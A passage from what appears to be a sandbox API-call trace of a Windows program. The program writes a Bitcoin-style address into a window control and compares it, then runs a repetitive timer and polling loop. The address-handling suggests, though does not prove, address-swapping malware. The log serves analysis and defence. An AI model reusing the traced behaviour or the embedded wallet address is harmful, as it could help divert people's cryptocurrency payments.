lpMem=0x383bb28 | out: hHeap=0x3820000) returned 1 [0177.116] SysStringLen (param_1="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 0x22 [0177.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", cchWideChar=35, lpMultiByteStr=0x1446d5c, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", lpUsedDefaultChar=0x0) returned 35 [0177.117] SetWindowTextA (hWnd=0x3027a, lpString="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 1 [0177.117] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x22 [0177.117] GetFocus () returned 0x40298 [0177.117] lstrlenA (lpString="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 34 [0177.117] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x23) returned 0x383bb28 [0177.117] GetWindowTextA (in: hWnd=0x3027a, lpString=0x383bb28, nMaxCount=35 | out: lpString="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 34 [0177.117] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0xd, wParam=0x23, lParam=0x383bb28) returned 0x22 [0177.117] GetFocus () returned 0x40298 [0177.117] lstrcmpA (lpString1="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", lpString2="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 0 [0177.117] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383bb28 | out: hHeap=0x3820000) returned 1 [0177.117] SetTimer (hWnd=0x70116, nIDEvent=0x70116, uElapse=0x3e8, lpTimerFunc=0x0) returned 0x70116 [0177.205] GetCapture () returned 0x0 [0177.205] GetCapture () returned 0x0 [0177.205] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0177.205] NtdllDefWindowProc_A (hWnd=0x4015c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0177.205] NtdllDefWindowProc_A (hWnd=0x30268, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0177.205] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0177.452] GetCapture () returned 0x0 [0177.452] GetCapture () returned 0x0 [0177.452] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0177.452] NtdllDefWindowProc_A (hWnd=0x4015c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0177.452] NtdllDefWindowProc_A (hWnd=0x30268, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0177.452] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0177.481] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18eba8) returned 0x0 [0177.481] GetLastError () returned 0x0 [0177.481] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x34b)) [0177.482] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x34b)) [0177.482] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0177.482] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0177.482] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0177.482] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0177.482] GetCurrentProcessId () returned 0x9e0 [0177.482] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0177.482] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0177.482] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0177.483] GetTickCount () returned 0x115da97 [0177.483] GetTickCount () returned 0x115da97 [0177.483] GetTickCount () returned 0x115da97 [0177.483] CoFreeUnusedLibraries () [0177.487] GetTickCount () returned 0x115da97 [0177.487] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0177.487] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0177.487] GetTickCount () returned 0x115da97 [0177.487] IsWindowVisible (hWnd=0x30268) returned 0 [0177.487] IsWindowVisible (hWnd=0x40298) returned 0 [0177.487] Sleep (dwMilliseconds=0x0) [0180.023] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x36b)) [0180.023] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.023] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.023] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.023] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.023] GetCurrentProcessId () returned 0x9e0 [0180.023] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.023] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.023] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.023] GetTickCount () returned 0x115dab6 [0180.023] GetTickCount () returned 0x115dab6 [0180.023] GetTickCount () returned 0x115dab6 [0180.023] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.023] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.023] GetTickCount () returned 0x115dab6 [0180.024] IsWindowVisible (hWnd=0x30268) returned 0 [0180.024] IsWindowVisible (hWnd=0x40298) returned 0 [0180.024] Sleep (dwMilliseconds=0x0) [0180.060] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x38a)) [0180.060] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.060] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.060] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.060] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.060] GetCurrentProcessId () returned 0x9e0 [0180.060] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.060] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.060] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.060] GetTickCount () returned 0x115dad5 [0180.060] GetTickCount () returned 0x115dad5 [0180.061] GetTickCount () returned 0x115dad5 [0180.061] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.061] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.061] GetTickCount () returned 0x115dad5 [0180.061] IsWindowVisible (hWnd=0x30268) returned 0 [0180.061] IsWindowVisible (hWnd=0x40298) returned 0 [0180.061] Sleep (dwMilliseconds=0x0) [0180.085] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3a9)) [0180.085] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.085] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.085] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.086] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.086] GetCurrentProcessId () returned 0x9e0 [0180.086] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.086] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.086] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.086] GetTickCount () returned 0x115daf4 [0180.086] GetTickCount () returned 0x115daf4 [0180.086] GetTickCount () returned 0x115daf4 [0180.086] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.086] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.086] GetTickCount () returned 0x115daf4 [0180.086] IsWindowVisible (hWnd=0x30268) returned 0 [0180.086] IsWindowVisible (hWnd=0x40298) returned 0 [0180.086] Sleep (dwMilliseconds=0x0) [0180.091] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3a9)) [0180.091] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.091] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.091] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.091] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.092] GetCurrentProcessId () returned 0x9e0 [0180.092] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.092] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.092] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.092] GetTickCount () returned 0x115daf4 [0180.092] GetTickCount () returned 0x115daf4 [0180.092] GetTickCount () returned 0x115daf4 [0180.092] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.092] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.092] GetTickCount () returned 0x115daf4 [0180.092] IsWindowVisible (hWnd=0x30268) returned 0 [0180.092] IsWindowVisible (hWnd=0x40298) returned 0 [0180.092] Sleep (dwMilliseconds=0x0) [0180.101] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3b9)) [0180.102] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.102] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.102] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.102] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.102] GetCurrentProcessId () returned 0x9e0 [0180.102] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.102] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.102] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.102] GetTickCount () returned 0x115db04 [0180.102] GetTickCount () returned 0x115db04 [0180.102] GetTickCount () returned 0x115db04 [0180.102] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.102] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.102] GetTickCount () returned 0x115db04 [0180.102] IsWindowVisible (hWnd=0x30268) returned 0 [0180.102] IsWindowVisible (hWnd=0x40298) returned 0 [0180.102] Sleep (dwMilliseconds=0x0) [0180.114] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3c8)) [0180.114] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.115] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.115] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.115] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.115] GetCurrentProcessId () returned 0x9e0 [0180.115] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.115] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.115] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.115] GetTickCount () returned 0x115db14 [0180.115] GetTickCount () returned 0x115db14 [0180.115] GetTickCount () returned 0x115db14 [0180.115] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.115] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.115] GetTickCount () returned 0x115db14 [0180.115] IsWindowVisible (hWnd=0x30268) returned 0 [0180.115] IsWindowVisible (hWnd=0x40298) returned 0 [0180.115] Sleep (dwMilliseconds=0x0) [0180.129] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3d8)) [0180.129] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.129] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.129] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.129] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.129] GetCurrentProcessId () returned 0x9e0 [0180.129] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.129] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.129] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.129] GetTickCount () returned 0x115db23 [0180.129] GetTickCount () returned 0x115db23 [0180.129] GetTickCount () returned 0x115db23 [0180.129] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.129] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.129] GetTickCount () returned 0x115db23 [0180.129] IsWindowVisible (hWnd=0x30268) returned 0 [0180.129] IsWindowVisible (hWnd=0x40298) returned 0 [0180.129] Sleep (dwMilliseconds=0x0) [0180.133] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3d8)) [0180.133] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.133] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.134] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.134] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.134] GetCurrentProcessId () returned 0x9e0 [0180.134] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.134] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.134] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.134] GetTickCount () returned 0x115db23 [0180.134] GetTickCount () returned 0x115db23 [0180.134] GetTickCount () returned 0x115db23 [0180.134] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.134] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.134] GetTickCount () returned 0x115db23 [0180.134] IsWindowVisible (hWnd=0x30268) returned 0 [0180.134] IsWindowVisible (hWnd=0x40298) returned 0 [0180.134] Sleep (dwMilliseconds=0x0) [0180.136] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3d8)) [0180.136] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.136] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.136] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.136] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.136] GetCurrentProcessId () returned 0x9e0 [0180.136] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.136] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.136] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.136] GetTickCount () returned 0x115db23 [0180.136] GetTickCount () returned 0x115db23 [0180.136] GetTickCount () returned 0x115db23 [0180.136] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.136] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.136] GetTickCount () returned 0x115db23 [0180.136] IsWindowVisible (hWnd=0x30268) returned 0 [0180.137] IsWindowVisible (hWnd=0x40298) returned 0 [0180.137] Sleep (dwMilliseconds=0x0) [0180.143] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3e7)) [0180.143] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.143] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.143] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.143] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.143] GetCurrentProcessId () returned 0x9e0 [0180.143] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.143] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.143] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.143] GetTickCount () returned 0x115db33 [0180.143] GetTickCount () returned 0x115db33 [0180.143] GetTickCount () returned 0x115db33 [0180.143] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.143] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.143] GetTickCount () returned 0x115db33 [0180.144] IsWindowVisible (hWnd=0x30268) returned 0 [0180.144] IsWindowVisible (hWnd=0x40298) returned 0 [0180.144] Sleep (dwMilliseconds=0x0) [0180.144] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3e7)) [0180.144] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.144] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.144] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.144] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.144] GetCurrentProcessId () returned 0x9e0 [0180.144] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.145] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.145] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.145] GetTickCount () returned 0x115db33 [0180.145] GetTickCount () returned 0x115db33 [0180.145] GetTickCount () returned 0x115db33 [0180.145] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.145] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.145] GetTickCount () returned 0x115db33 [0180.145] IsWindowVisible (hWnd=0x30268) returned 0 [0180.145] IsWindowVisible (hWnd=0x40298) returned 0 [0180.145] Sleep (dwMilliseconds=0x0) [0180.145] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3e7)) [0180.145] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.145] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.145] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.146] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.146] GetCurrentProcessId () returned 0x9e0 [0180.146] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.146] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.146] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.146] GetTickCount () returned 0x115db33 [0180.146] GetTickCount () returned 0x115db33 [0180.146] GetTickCount () returned 0x115db33 [0180.146] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.146] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.146] GetTickCount () returned 0x115db33 [0180.146] IsWindowVisible (hWnd=0x30268) returned 0 [0180.146] IsWindowVisible 